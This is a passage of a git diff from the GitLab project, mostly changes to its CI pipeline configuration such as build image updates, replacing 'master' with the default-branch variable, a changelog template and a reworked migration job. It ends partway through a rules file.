-rw-r--r--vendor/assets/javascripts/jasmine-jquery.js5
-rw-r--r--vendor/assets/javascripts/jquery.endless-scroll.js17
-rw-r--r--vendor/gems/mail-smtp_pool/.gitignore3
-rw-r--r--vendor/gems/mail-smtp_pool/.gitlab-ci.yml29
-rw-r--r--vendor/gems/mail-smtp_pool/Gemfile5
-rw-r--r--vendor/gems/mail-smtp_pool/LICENSE21
-rw-r--r--vendor/gems/mail-smtp_pool/README.md57
-rw-r--r--vendor/gems/mail-smtp_pool/lib/mail/smtp_pool.rb34
-rw-r--r--vendor/gems/mail-smtp_pool/lib/mail/smtp_pool/connection.rb60
-rw-r--r--vendor/gems/mail-smtp_pool/mail-smtp_pool.gemspec26
-rw-r--r--vendor/gems/mail-smtp_pool/spec/lib/mail/smtp_pool/connection_spec.rb93
-rw-r--r--vendor/gems/mail-smtp_pool/spec/lib/mail/smtp_pool_spec.rb68
-rw-r--r--vendor/gems/mail-smtp_pool/spec/spec_helper.rb84
-rw-r--r--vendor/project_templates/gatsby.tar.gzbin79051 -> 377283 bytes
-rw-r--r--vendor/project_templates/learn_gitlab.tar.gzbin114312 -> 112648 bytes
-rw-r--r--vendor/project_templates/learn_gitlab_ultimate_trial.tar.gzbin115096 -> 115097 bytes
-rw-r--r--vendor/shims/mimemagic/Gemfile6
-rw-r--r--vendor/shims/mimemagic/LICENSE.txt21
-rw-r--r--vendor/shims/mimemagic/README.md1
-rw-r--r--vendor/shims/mimemagic/Rakefile2
-rw-r--r--vendor/shims/mimemagic/lib/mimemagic.rb6
-rw-r--r--vendor/shims/mimemagic/lib/mimemagic/version.rb3
-rw-r--r--vendor/shims/mimemagic/mimemagic.gemspec18
-rw-r--r--workhorse/.gitlab-ci.yml14
-rwxr-xr-xworkhorse/_support/changelog2
-rw-r--r--workhorse/doc/operations/install.md2
-rw-r--r--workhorse/go.mod7
-rw-r--r--workhorse/go.sum38
-rw-r--r--workhorse/internal/api/api.go32
-rw-r--r--workhorse/internal/filestore/save_file_opts.go23
-rw-r--r--workhorse/internal/filestore/save_file_opts_test.go15
-rw-r--r--workhorse/internal/upload/exif/exif.go5
-rw-r--r--workhorse/internal/upload/rewrite.go15
-rw-r--r--workhorse/internal/upload/uploads_test.go22
-rw-r--r--workhorse/internal/upstream/routes.go29
-rw-r--r--workhorse/upload_test.go87
-rw-r--r--yarn.lock304
9534 files changed, 252385 insertions, 90060 deletions
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 8bb09825e67..c722f0a597d 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -17,7 +17,7 @@ stages:
# in cases where jobs require Docker-in-Docker, the job
# definition must be extended with `.use-docker-in-docker`
default:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.29-lfs-2.9-chrome-87-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.34"
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
tags:
- gitlab-org
# All jobs are interruptible by default
@@ -38,7 +38,7 @@ workflow:
when: never
# For merge requests, create a pipeline.
- if: '$CI_MERGE_REQUEST_IID'
- # For `master` branch, create a pipeline (this includes on schedules, pushes, merges, etc.).
+ # For `$CI_DEFAULT_BRANCH` branch, create a pipeline (this includes on schedules, pushes, merges, etc.).
- if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'
# For tags, create a pipeline.
- if: '$CI_COMMIT_TAG'
@@ -53,6 +53,8 @@ workflow:
variables:
RAILS_ENV: "test"
NODE_ENV: "test"
+ # we override the max_old_space_size to prevent OOM errors
+ NODE_OPTIONS: --max_old_space_size=3584
SIMPLECOV: "true"
GIT_DEPTH: "20"
GIT_SUBMODULE_STRATEGY: "none"
@@ -100,6 +102,7 @@ include:
- local: .gitlab/ci/qa.gitlab-ci.yml
- local: .gitlab/ci/reports.gitlab-ci.yml
- local: .gitlab/ci/rails.gitlab-ci.yml
+ - local: .gitlab/ci/vendored-gems.gitlab-ci.yml
- local: .gitlab/ci/review.gitlab-ci.yml
- local: .gitlab/ci/rules.gitlab-ci.yml
- local: .gitlab/ci/setup.gitlab-ci.yml
@@ -111,4 +114,7 @@ include:
- local: .gitlab/ci/dast.gitlab-ci.yml
- local: .gitlab/ci/workhorse.gitlab-ci.yml
- local: .gitlab/ci/graphql.gitlab-ci.yml
- - remote: 'https://gitlab.com/gitlab-org/frontend/untamper-my-lockfile/-/raw/main/.gitlab-ci-template.yml'
+ # switch the remote include to a local include until this is resolved:
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/327299
+ # - remote: 'https://gitlab.com/gitlab-org/frontend/untamper-my-lockfile/-/raw/main/.gitlab-ci-template.yml'
+ - local: .gitlab/ci/untamper-my-lockfile.yml
diff --git a/.gitlab/CODEOWNERS b/.gitlab/CODEOWNERS
index 2eda1a890d9..6432640570f 100644
--- a/.gitlab/CODEOWNERS
+++ b/.gitlab/CODEOWNERS
@@ -135,7 +135,7 @@
/doc/api/invitations.md @aqualls
/doc/api/experiments.md @aqualls
/doc/development/experiment_guide/ @aqualls
-/doc/development/snowplow.md @aqualls
+/doc/development/snowplow/ @aqualls
/doc/development/usage_ping/ @aqualls
/doc/user/admin_area/license.md @aqualls
@@ -193,7 +193,7 @@ Dangerfile @gl-quality/eng-prod
/lib/gitlab/auth/ldap/ @dblessing @mkozono
[Templates]
-/lib/gitlab/ci/templates/ @nolith @shinya.maeda
+/lib/gitlab/ci/templates/ @nolith @shinya.maeda @matteeyah
/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml @DylanGriffith @mayra-cabrera @tkuah
/lib/gitlab/ci/templates/Security/ @plafoucriere @gonzoyumo @twoodham @sethgitlab
@@ -277,6 +277,7 @@ Dangerfile @gl-quality/eng-prod
/lib/gitlab/experimentation/ @gitlab-org/growth/experiment-devs
/lib/gitlab/experimentation.rb @gitlab-org/growth/experiment-devs
/lib/gitlab/experimentation_logger.rb @gitlab-org/growth/experiment-devs
+/ee/spec/requests/api/experiments_spec.rb @gitlab-org/growth/experiment-devs
[Legal]
/config/dependency_decisions.yml @gitlab-org/legal-reviewers
diff --git a/.gitlab/changelog_config.yml b/.gitlab/changelog_config.yml
new file mode 100644
index 00000000000..7aa18cc8f36
--- /dev/null
+++ b/.gitlab/changelog_config.yml
@@ -0,0 +1,38 @@
+---
+# Settings for generating changelogs using the GitLab API. See
+# https://docs.gitlab.com/ee/api/repositories.html#generate-changelog-data for
+# more information.
+categories:
+ added: Added
+ fixed: Fixed
+ changed: Changed
+ deprecated: Deprecated
+ removed: Removed
+ security: Security
+ performance: Performance
+ other: Other
+template: |
+ {% if categories %}
+ {% each categories %}
+ ### {{ title }} ({% if single_change %}1 change{% else %}{{ count }} changes{% end %})
+
+ {% each entries %}
+ - [{{ title }}]({{ commit.reference }})\
+ {% if author.contributor %} by {{ author.reference }}{% end %}\
+ {% if commit.trailers.MR %}\
+ ([merge request]({{ commit.trailers.MR }}))\
+ {% else %}\
+ {% if merge_request %}\
+ ([merge request]({{ merge_request.reference }}))\
+ {% end %}\
+ {% end %}\
+ {% if commit.trailers.EE %}\
+ **GitLab Enterprise Edition**\
+ {% end %}
+
+ {% end %}
+
+ {% end %}
+ {% else %}
+ No changes.
+ {% end %}
diff --git a/.gitlab/ci/build-images.gitlab-ci.yml b/.gitlab/ci/build-images.gitlab-ci.yml
index e6c3e7598d3..4e352472047 100644
--- a/.gitlab/ci/build-images.gitlab-ci.yml
+++ b/.gitlab/ci/build-images.gitlab-ci.yml
@@ -1,6 +1,8 @@
-# This image is used by the `review-qa-*` jobs. Not currently used by the `omnibus-gitlab` pipelines which rebuild this
-# image, e.g. https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/-/jobs/587107399, which we could probably avoid.
-# See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5429.
+# This image is used by the `review-qa-*` jobs. The image name is also passed to the downstream `omnibus-gitlab-mirror` pipeline
+# triggered by `package-and-qa` so that it doesn't have to rebuild it a second time. The downstream `omnibus-gitlab-mirror` pipeline
+# itself passes the image name to the `gitlab-qa-mirror` pipeline so that it can use it instead of inferring an end-to-end image
+# from the GitLab image built by the downstream `omnibus-gitlab-mirror` pipeline.
+# See https://docs.gitlab.com/ee/development/testing_guide/end_to_end/index.html#testing-code-in-merge-requests for more details.
build-qa-image:
extends:
- .use-kaniko
diff --git a/.gitlab/ci/cache-repo.gitlab-ci.yml b/.gitlab/ci/cache-repo.gitlab-ci.yml
index 324c8615083..475cbca3156 100644
--- a/.gitlab/ci/cache-repo.gitlab-ci.yml
+++ b/.gitlab/ci/cache-repo.gitlab-ci.yml
@@ -1,4 +1,4 @@
-# Builds a cached .tar.gz of the master branch with full history and
+# Builds a cached .tar.gz of the $CI_DEFAULT_BRANCH branch with full history and
# uploads it to Google Cloud Storage. This archive is downloaded by a
# script defined by a CI/CD variable named CI_PRE_CLONE_SCRIPT. This has
# two benefits:
@@ -41,6 +41,7 @@ cache-repo:
cd $CI_PROJECT_NAME;
time git repack -d;
echo "Archiving $CI_PROJECT_NAME into /tmp/$SHALLOW_CLONE_TAR_FILENAME.";
+ time git remote rm origin;
time tar cf /tmp/$SHALLOW_CLONE_TAR_FILENAME .;
echo "GZipping /tmp/$SHALLOW_CLONE_TAR_FILENAME.";
time gzip /tmp/$SHALLOW_CLONE_TAR_FILENAME;
@@ -52,7 +53,9 @@ cache-repo:
echo "Cloning $CI_REPOSITORY_URL into $CI_PROJECT_NAME.";
time git clone --progress $CI_REPOSITORY_URL $CI_PROJECT_NAME;
cd $CI_PROJECT_NAME;
+ time git repack -d;
echo "Archiving $CI_PROJECT_NAME into /tmp/$FULL_CLONE_TAR_FILENAME.";
+ time git remote rm origin;
time tar cf /tmp/$FULL_CLONE_TAR_FILENAME .;
echo "GZipping /tmp/$FULL_CLONE_TAR_FILENAME.";
time gzip /tmp/$FULL_CLONE_TAR_FILENAME;
diff --git a/.gitlab/ci/dast.gitlab-ci.yml b/.gitlab/ci/dast.gitlab-ci.yml
index 33778b9cbd0..a8a201bd1fa 100644
--- a/.gitlab/ci/dast.gitlab-ci.yml
+++ b/.gitlab/ci/dast.gitlab-ci.yml
@@ -97,7 +97,7 @@ DAST-fullscan-ruleset5:
variables:
DAST_USERNAME: "user5"
script:
- - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 10010 | enable_rule 10011 | enable_rule 10015 | enable_rule 10017 | enable_rule 10019)
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 10010 | enable_rule 10011 | enable_rule 10017 | enable_rule 10019)
- echo $DAST_EXCLUDE_RULES
- /analyze -t $DAST_WEBSITE -d
diff --git a/.gitlab/ci/docs.gitlab-ci.yml b/.gitlab/ci/docs.gitlab-ci.yml
index b42b32ea44d..8f70127be65 100644
--- a/.gitlab/ci/docs.gitlab-ci.yml
+++ b/.gitlab/ci/docs.gitlab-ci.yml
@@ -10,17 +10,18 @@
# because some repos are private and CI_JOB_TOKEN cannot access files.
# See https://gitlab.com/gitlab-org/gitlab/issues/191273
GIT_DEPTH: 1
+ # By default, deploy the Review App using the `master` branch of the `gitlab-org/gitlab-docs` project
+ DOCS_BRANCH: master
environment:
- name: review-docs/$DOCS_GITLAB_REPO_SUFFIX-$CI_MERGE_REQUEST_IID
+ name: review-docs/mr-${CI_MERGE_REQUEST_IID}
# DOCS_REVIEW_APPS_DOMAIN and DOCS_GITLAB_REPO_SUFFIX are CI variables
# Discussion: https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/14236/diffs#note_40140693
auto_stop_in: 2 weeks
- url: http://docs-preview-$DOCS_GITLAB_REPO_SUFFIX-$CI_MERGE_REQUEST_IID.$DOCS_REVIEW_APPS_DOMAIN/$DOCS_GITLAB_REPO_SUFFIX
+ url: http://${DOCS_BRANCH}-${DOCS_GITLAB_REPO_SUFFIX}-${CI_MERGE_REQUEST_IID}.${DOCS_REVIEW_APPS_DOMAIN}/${DOCS_GITLAB_REPO_SUFFIX}
on_stop: review-docs-cleanup
before_script:
- - apk add --update openssl
- - gem install httparty --no-document --version 0.17.3
- - gem install gitlab --no-document --version 4.13.0
+ - source ./scripts/utils.sh
+ - install_gitlab_gem
# Always trigger a docs build in gitlab-docs only on docs-only branches.
# Useful to preview the docs changes live.
@@ -33,7 +34,7 @@ review-docs-deploy:
review-docs-cleanup:
extends: .review-docs
environment:
- name: review-docs/$DOCS_GITLAB_REPO_SUFFIX-$CI_MERGE_REQUEST_IID
+ name: review-docs/mr-${CI_MERGE_REQUEST_IID}
action: stop
script:
- ./scripts/trigger-build docs cleanup
@@ -64,10 +65,8 @@ docs-lint links:
- cd /tmp/gitlab-docs
# Build HTML from Markdown
- bundle exec nanoc
- # Check the internal links
- - bundle exec nanoc check internal_links
- # Check the internal anchor links
- - bundle exec nanoc check internal_anchors
+ # Check the internal links and anchors (in parallel)
+ - "parallel time bundle exec nanoc check ::: internal_links internal_anchors"
ui-docs-links lint:
extends:
diff --git a/.gitlab/ci/frontend.gitlab-ci.yml b/.gitlab/ci/frontend.gitlab-ci.yml
index 910a58bcd0e..c39f5cdce9c 100644
--- a/.gitlab/ci/frontend.gitlab-ci.yml
+++ b/.gitlab/ci/frontend.gitlab-ci.yml
@@ -1,22 +1,15 @@
-.frontend-base:
- extends:
- - .default-retry
- - .default-before_script
- variables:
- SETUP_DB: "false"
- # we override the max_old_space_size to prevent OOM errors
- NODE_OPTIONS: --max_old_space_size=3584
-
.yarn-install: &yarn-install
- source scripts/utils.sh
- run_timed_command "retry yarn install --frozen-lockfile"
.compile-assets-base:
extends:
- - .frontend-base
+ - .default-retry
+ - .default-before_script
- .assets-compile-cache
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2-git-2.29-lfs-2.9-node-14.15-yarn-1.22-graphicsmagick-1.3.34
+ image: registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2-git-2.31-lfs-2.9-node-14.15-yarn-1.22-graphicsmagick-1.3.36
variables:
+ SETUP_DB: "false"
WEBPACK_VENDOR_DLL: "true"
stage: prepare
script:
@@ -93,13 +86,13 @@ update-yarn-cache:
.frontend-fixtures-base:
extends:
- - .frontend-base
+ - .default-retry
+ - .default-before_script
- .rails-cache
- .use-pg11
stage: fixtures
needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets"]
variables:
- SETUP_DB: "true"
WEBPACK_VENDOR_DLL: "true"
script:
- run_timed_command "gem install knapsack --no-document"
@@ -151,10 +144,8 @@ graphql-schema-dump:
.frontend-test-base:
extends:
- - .frontend-base
+ - .default-retry
- .yarn-cache
- variables:
- USE_BUNDLE_INSTALL: "false"
stage: test
eslint-as-if-foss:
@@ -246,7 +237,7 @@ coverage-frontend:
extends:
- .default-retry
- .yarn-cache
- - .frontend:rules:ee-mr-and-master-only
+ - .frontend:rules:ee-mr-and-default-branch-only
needs: ["jest"]
stage: post-test
before_script:
diff --git a/.gitlab/ci/global.gitlab-ci.yml b/.gitlab/ci/global.gitlab-ci.yml
index de4b609098d..891457afe6e 100644
--- a/.gitlab/ci/global.gitlab-ci.yml
+++ b/.gitlab/ci/global.gitlab-ci.yml
@@ -27,7 +27,7 @@
.rails-cache:
cache:
- key: "rails-v4"
+ key: "rails-v5"
paths:
- vendor/ruby/
- vendor/gitaly-ruby/
@@ -87,7 +87,7 @@
policy: pull
.use-pg11:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.29-lfs-2.9-chrome-87-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.34"
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
services:
- name: postgres:11.6
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -96,7 +96,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg12:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.29-lfs-2.9-chrome-87-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.34"
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36"
services:
- name: postgres:12
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -105,7 +105,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg11-ee:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.29-lfs-2.9-chrome-87-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.34"
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
services:
- name: postgres:11.6
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -116,7 +116,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg12-ee:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.29-lfs-2.9-chrome-87-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.34"
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.14-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36"
services:
- name: postgres:12
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
diff --git a/.gitlab/ci/memory.gitlab-ci.yml b/.gitlab/ci/memory.gitlab-ci.yml
index ef6c9b9c8ff..3e5639e4d69 100644
--- a/.gitlab/ci/memory.gitlab-ci.yml
+++ b/.gitlab/ci/memory.gitlab-ci.yml
@@ -44,8 +44,6 @@ memory-on-boot:
NODE_ENV: "production"
RAILS_ENV: "production"
SETUP_DB: "true"
- # we override the max_old_space_size to prevent OOM errors
- NODE_OPTIONS: --max_old_space_size=3584
script:
- PATH_TO_HIT="/users/sign_in" CUT_OFF=0.3 bundle exec derailed exec perf:mem >> 'tmp/memory_on_boot.txt'
- scripts/generate-memory-metrics-on-boot tmp/memory_on_boot.txt >> 'tmp/memory_on_boot_metrics.txt'
diff --git a/.gitlab/ci/rails.gitlab-ci.yml b/.gitlab/ci/rails.gitlab-ci.yml
index e1ddefca99e..064aa5a8351 100644
--- a/.gitlab/ci/rails.gitlab-ci.yml
+++ b/.gitlab/ci/rails.gitlab-ci.yml
@@ -142,7 +142,7 @@
############################
#######################################################
-# EE/FOSS: default refs (MRs, master, schedules) jobs #
+# EE/FOSS: default refs (MRs, default branch, schedules) jobs #
setup-test-env:
extends:
- .rails-job-base
@@ -183,6 +183,7 @@ setup-test-env:
- tmp/tests/gitlab-workhorse/gitlab-workhorse
- tmp/tests/gitlab-workhorse/gitlab-resize-image
- tmp/tests/gitlab-workhorse/config.toml
+ - tmp/tests/gitlab-workhorse/WORKHORSE_TREE
- tmp/tests/repositories/
- tmp/tests/second_storage/
when: always
@@ -256,17 +257,6 @@ static-analysis:
- run_timed_command "retry yarn install --frozen-lockfile"
- scripts/static-analysis
-downtime_check:
- extends:
- - .rails-job-base
- - .rails:rules:downtime_check
- needs: []
- stage: test
- variables:
- SETUP_DB: "false"
- script:
- - bundle exec rake downtime_check
-
rspec migration pg11:
extends:
- .rspec-base-pg11
@@ -346,7 +336,7 @@ db:migrate:reset:
db:check-schema:
extends:
- .db-job-base
- - .rails:rules:ee-mr-and-master-only
+ - .rails:rules:ee-mr-and-default-branch-only
script:
- source scripts/schema_changed.sh
@@ -358,32 +348,31 @@ db:check-migrations:
- scripts/validate_migration_schema
allow_failure: true
-db:migrate-from-v12.10.0:
+db:migrate-from-previous-major-version:
extends: .db-job-base
variables:
+ USE_BUNDLE_INSTALL: "false"
SETUP_DB: "false"
+ PROJECT_TO_CHECKOUT: "gitlab-foss"
+ TAG_TO_CHECKOUT: "v12.10.14"
script:
- - export PROJECT_TO_CHECKOUT="gitlab"
- - export TAG_TO_CHECKOUT="v12.10.0-ee"
- - '[[ -d "ee/" ]] || export PROJECT_TO_CHECKOUT="gitlab-foss"'
- - '[[ -d "ee/" ]] || export TAG_TO_CHECKOUT="v12.10.0"'
+ - '[[ -d "ee/" ]] || export PROJECT_TO_CHECKOUT="gitlab"'
+ - '[[ -d "ee/" ]] || export TAG_TO_CHECKOUT="${TAG_TO_CHECKOUT}-ee"'
- retry 'git fetch https://gitlab.com/gitlab-org/$PROJECT_TO_CHECKOUT.git $TAG_TO_CHECKOUT'
- git checkout -f FETCH_HEAD
+ # Patch Gemfile of the previous major version for compatibility.
- sed -i -e "s/gem 'grpc', '~> 1.24.0'/gem 'grpc', '~> 1.30.2'/" Gemfile # Update gRPC for Ruby 2.7
- - sed -i -e "s/gem 'google-protobuf', '~> 3.8.0'/gem 'google-protobuf', '~> 3.12.0'/" Gemfile
- - gem install bundler:1.17.3
- - bundle update google-protobuf grpc bootsnap
- - bundle install $BUNDLE_INSTALL_FLAGS
- - date
+ - sed -i -e "s/gem 'google-protobuf', '~> 3.8.0'/gem 'google-protobuf', '~> 3.12'/" Gemfile
+ - sed -i -e "s/gem 'nokogiri', '~> 1.10.5'/gem 'nokogiri', '~> 1.11.0'/" Gemfile
+ - sed -i -e "s/gem 'mimemagic', '~> 0.3.2'/gem 'ruby-magic', '~> 0.3.2'/" Gemfile
+ - run_timed_command "gem install bundler:1.17.3"
+ - run_timed_command "bundle update google-protobuf nokogiri grpc mimemagic bootsnap"
+ - run_timed_command "bundle install ${BUNDLE_INSTALL_FLAGS}"
- cp config/gitlab.yml.example config/gitlab.yml
- - bundle exec rake db:drop db:create db:structure:load db:seed_fu
- - date
+ - run_timed_command "bundle exec rake db:drop db:create db:structure:load db:migrate db:seed_fu"
- git checkout -f $CI_COMMIT_SHA
- - bundle install $BUNDLE_INSTALL_FLAGS
- - date
- - . scripts/prepare_build.sh
- - date
- - bundle exec rake db:migrate
+ - run_timed_command "bundle install ${BUNDLE_INSTALL_FLAGS}"
+ - run_timed_command "bundle exec rake db:migrate"
db:rollback:
extends: .db-job-base
@@ -535,11 +524,11 @@ rspec:feature-flags:
run_timed_command "bundle exec scripts/used-feature-flags";
fi
-# EE/FOSS: default refs (MRs, master, schedules) jobs #
+# EE/FOSS: default refs (MRs, default branch, schedules) jobs #
#######################################################
##################################################
-# EE: default refs (MRs, master, schedules) jobs #
+# EE: default refs (MRs, default branch, schedules) jobs #
rspec migration pg11-as-if-foss:
extends:
- .rspec-base-pg11-as-if-foss
@@ -682,81 +671,81 @@ db:rollback geo:
script:
- bundle exec rake geo:db:migrate VERSION=20170627195211
- bundle exec rake geo:db:migrate
-# EE: default refs (MRs, master, schedules) jobs #
+# EE: default refs (MRs, default branch, schedules) jobs #
##################################################
##########################################
-# EE/FOSS: master nightly scheduled jobs #
+# EE/FOSS: default branch nightly scheduled jobs #
rspec migration pg12:
extends:
- .rspec-base-pg12
- .rspec-base-migration
- - .rails:rules:master-schedule-nightly--code-backstage
+ - .rails:rules:default-branch-schedule-nightly--code-backstage
- .rspec-migration-parallel
rspec unit pg12:
extends:
- .rspec-base-pg12
- - .rails:rules:master-schedule-nightly--code-backstage
+ - .rails:rules:default-branch-schedule-nightly--code-backstage
- .rspec-unit-parallel
rspec integration pg12:
extends:
- .rspec-base-pg12
- - .rails:rules:master-schedule-nightly--code-backstage
+ - .rails:rules:default-branch-schedule-nightly--code-backstage
- .rspec-integration-parallel
rspec system pg12:
extends:
- .rspec-base-pg12
- - .rails:rules:master-schedule-nightly--code-backstage
+ - .rails:rules:default-branch-schedule-nightly--code-backstage
- .rspec-system-parallel
-# EE/FOSS: master nightly scheduled jobs #
+# EE/FOSS: default branch nightly scheduled jobs #
##########################################
#####################################
-# EE: master nightly scheduled jobs #
+# EE: default branch nightly scheduled jobs #
rspec-ee migration pg12:
extends:
- .rspec-ee-base-pg12
- .rspec-base-migration
- - .rails:rules:master-schedule-nightly--code-backstage-ee-only
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
- .rspec-ee-migration-parallel
rspec-ee unit pg12:
extends:
- .rspec-ee-base-pg12
- - .rails:rules:master-schedule-nightly--code-backstage-ee-only
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
- .rspec-ee-unit-parallel
rspec-ee integration pg12:
extends:
- .rspec-ee-base-pg12
- - .rails:rules:master-schedule-nightly--code-backstage-ee-only
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
- .rspec-ee-integration-parallel
rspec-ee system pg12:
extends:
- .rspec-ee-base-pg12
- - .rails:rules:master-schedule-nightly--code-backstage-ee-only
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
- .rspec-ee-system-parallel
rspec-ee unit pg12 geo:
extends:
- .rspec-ee-base-geo-pg12
- - .rails:rules:master-schedule-nightly--code-backstage-ee-only
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
- .rspec-ee-unit-geo-parallel
rspec-ee integration pg12 geo:
extends:
- .rspec-ee-base-geo-pg12
- - .rails:rules:master-schedule-nightly--code-backstage-ee-only
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
rspec-ee system pg12 geo:
extends:
- .rspec-ee-base-geo-pg12
- - .rails:rules:master-schedule-nightly--code-backstage-ee-only
-# EE: master nightly scheduled jobs #
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+# EE: default branch nightly scheduled jobs #
#####################################
##################################################
@@ -799,7 +788,7 @@ fail-pipeline-early:
GIT_DEPTH: 1
before_script:
- source scripts/utils.sh
- - install_api_client_dependencies_with_apt
+ - install_gitlab_gem
script:
- fail_pipeline_early
# EE: Canonical MR pipelines
diff --git a/.gitlab/ci/review.gitlab-ci.yml b/.gitlab/ci/review.gitlab-ci.yml
index 76191a923bf..e1037edc325 100644
--- a/.gitlab/ci/review.gitlab-ci.yml
+++ b/.gitlab/ci/review.gitlab-ci.yml
@@ -29,7 +29,6 @@ review-build-cng:
stage: review-prepare
before_script:
- source ./scripts/utils.sh
- - install_api_client_dependencies_with_apk
- install_gitlab_gem
needs:
- job: compile-production-assets
@@ -161,7 +160,7 @@ review-qa-smoke:
review-qa-all:
extends:
- .review-qa-base
- - .review:rules:mr-only-manual
+ - .review:rules:review-qa-all
parallel: 5
script:
- export KNAPSACK_REPORT_PATH=knapsack/master_report.json
@@ -198,7 +197,7 @@ review-performance:
parallel-spec-reports:
extends:
- - .review:rules:mr-only-manual
+ - .review:rules:review-qa-all
image: ${GITLAB_DEPENDENCY_PROXY}ruby:2.7-alpine
stage: post-qa
dependencies: ["review-qa-all"]
@@ -234,7 +233,15 @@ danger-review:
- run_timed_command "bundle install --jobs=$(nproc) --path=vendor --retry=3 --quiet --with danger"
- run_timed_command "retry yarn install --frozen-lockfile"
script:
- - run_timed_command "bundle exec danger --fail-on-errors=true --verbose"
+ - >
+ if [ -z "$DANGER_GITLAB_API_TOKEN" ]; then
+ # Force danger to skip CI source GitLab and fallback to "local only git repo".
+ unset GITLAB_CI
+ # We need to base SHA to help danger determine the base commit for this shallow clone.
+ run_timed_command "bundle exec danger dry_run --fail-on-errors=true --verbose --base='$CI_MERGE_REQUEST_DIFF_BASE_SHA'"
+ else
+ run_timed_command "bundle exec danger --fail-on-errors=true --verbose"
+ fi
update-danger-review-cache:
extends:
diff --git a/.gitlab/ci/rules.gitlab-ci.yml b/.gitlab/ci/rules.gitlab-ci.yml
index e76b0f2d07f..c2d16582a68 100644
--- a/.gitlab/ci/rules.gitlab-ci.yml
+++ b/.gitlab/ci/rules.gitlab-ci.yml
@@ -11,25 +11,25 @@
if: '$CI_PROJECT_NAME != "gitlab-foss" && $CI_PROJECT_NAME != "gitlab-ce" && $CI_PROJECT_NAME != "gitlabhq"'
.if-default-refs: &if-default-refs
- if: '$CI_COMMIT_REF_NAME == "master" || $CI_COMMIT_REF_NAME == "main" || $CI_COMMIT_REF_NAME =~ /^[\d-]+-stable(-ee)?$/ || $CI_COMMIT_REF_NAME =~ /^\d+-\d+-auto-deploy-\d+$/ || $CI_COMMIT_REF_NAME =~ /^security\// || $CI_MERGE_REQUEST_IID || $CI_COMMIT_TAG || $FORCE_GITLAB_CI'
+ if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH || $CI_COMMIT_REF_NAME =~ /^[\d-]+-stable(-ee)?$/ || $CI_COMMIT_REF_NAME =~ /^\d+-\d+-auto-deploy-\d+$/ || $CI_COMMIT_REF_NAME =~ /^security\// || $CI_MERGE_REQUEST_IID || $CI_COMMIT_TAG || $FORCE_GITLAB_CI'
-.if-master-refs: &if-master-refs
- if: '$CI_COMMIT_REF_NAME == "master" || $CI_COMMIT_REF_NAME == "main"'
+.if-default-branch-refs: &if-default-branch-refs
+ if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH'
-.if-master-push: &if-master-push
- if: '($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_REF_NAME == "main") && $CI_PIPELINE_SOURCE == "push"'
+.if-default-branch-push: &if-default-branch-push
